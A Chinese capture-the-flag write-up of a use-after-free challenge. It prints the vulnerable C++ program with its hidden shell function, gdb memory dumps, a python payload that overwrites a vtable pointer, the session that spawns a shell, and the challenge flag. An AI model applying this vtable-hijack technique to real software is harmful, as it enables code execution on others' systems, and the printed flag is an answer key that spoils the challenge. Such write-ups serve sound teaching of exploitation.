0x00 UAF

UAF(Use After Free)释放后重用,其实是一种指针未置空造成的漏洞。在操作系统中,为了加快程序运行速度,如果释放一块n字节大小的内存空间,当申请一块同样大小的内存空间时,会将刚刚释放的内存空间重新分配。如果指向这块内存空间的指针没有置空,会造成一系列的问题。

0x01 fastbin

fastbin顾名思义,fast就是要快。所以fastbin旨在加快操作系统的内存分配速度,fastbin仅使用fd形成单链表的形式,且遵循LIFO原则。

当操作系统分配一块较小的内存时(64字节),会首先从从fastbin中寻找未使用的chunk并分配。

0x02 分析

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}

通过分析题目源代码,看到各个操作的含义

  1. 调用
  2. 分配内存
  3. 释放内存

大概的思路是通过3先释放内存,因为程序释放内存后没有将指针置空。故在重新分配时会出现UAF。

0x03 Solution

这个题目涉及C++程序的逆向,我们可以

看一下C++中的继承是怎么体现的,以Man为例

void __fastcall Man::Man(Man *const this, std::string name, int age)
{
int v3; // ST0C_4@1
v3 = age;
Human::Human(&this->baseclass_0);
this->baseclass_0._vptr.Human = (int (**)(...))&off_4015B0;
std::string::operator=(&this->baseclass_0.name, name._M_dataplus._M_p);
this->baseclass_0.age = v3;
}

先new了一个Human的类,在修改这个类的虚表(vptr)为Man类的虚表,最后给类的成员变量赋值。

可以看到这个对象m所占的内存空间为8(vptr) + 8(int[age]) + 8(ptr[name]) = 24字节。知道了m对象所占的内存空间,下面需要观察内存空间的布局。

gdb-peda$ x/3gx m
0x603040: 0x0000000000401610 0x0000000000000019
0x603050: 0x0000000000603028
gdb-peda$ x/3gx 0x0000000000401610
0x401610 <_ZTV3Man+16>: 0x000000000040127e 0x00000000004013d8
0x401620 <_ZTV5Human>: 0x0000000000000000
gdb-peda$ x/s 0x0000000000603028
0x603028: "Jack"

m对象内存布局的示意图

+----------------+
| vtable |<--------------------+
+----------------+ |
| age | |
+----------------+ |
| ptr name | |
+----------------+ |
^ |
| +-----------------+
+----------------+ | humen::getshell |
| "Jack" | +-----------------+
+----------------+ | men::introduce |
+-----------------+

在看一下在C++中,程序是如何调用虚函数的。

if ( op == 1 )
{
(*((void (__fastcall **)(_QWORD, _QWORD))m->_vptr.Human + 1))(m);
(*((void (__fastcall **)(_QWORD))w->_vptr.Human + 1))(w);
}

对应的C++代码

m->introduce();
w->introduce();

可以看出是通过虚表的index来完成函数调用,所以要调用getshell函数需要把虚表指针的base - 8

看对方服务器上虚表的地址

gdb-peda$ x/3gx 0x11caca0
0x11caca0: 0x0000000000401550 0x0000000000000015
0x11cacb0: 0x00000000011cac88
gdb-peda$ x/3gx 0x0000000000401550
0x401550 <_ZTV5Woman+16>: 0x000000000040117a 0x0000000000401376
0x401560 <_ZTV3Man>: 0x0000000000000000

可以看到,需要覆盖的虚表指针为0x401550 - 0x8 = 0x401548。只要将m对象的虚表指针覆盖为0x401548,再通过m -> introduce()即可完成invoke shell。通过UAF可以完成m对象指向的内存空间的修改。

但是,释放内存空间的过程是先释放m再释放w。

delete m;
delete w;

通过一次UAF只能修改w指向的内存空间,而在引用的时候却先引用了m指向的内存空间。

m->introduce();
w->introduce();

这是m指向的内存空间已经被释放,会造成段错误。

因为这块内存空间仅为24字节,所以属于fastbin。根据前面的知识,fastbin是一个LIFO的结构。所以我们只需要分配两次24字节的内存空间,第二次就会分配到之前被释放的m所指向的内存空间。所以需要运行两次分配空间的过程。

uaf@ubuntu:/tmp$ python -c "print '\x48\x15\x40\x00\x00\x00\x00\x00'+'\x00'*16" > expuaf
uaf@ubuntu:/tmp$ cd
uaf@ubuntu:~$ ./uaf 24 /tmp/expuaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning
$

后话:
因为堆是8字节对齐的,只要重新分配的内存在9-24字节之间就可以分配到之前释放的m和w。所以,程序第一个参数为9-24都可以,不过没有测试。有兴趣的朋友可以测试一下。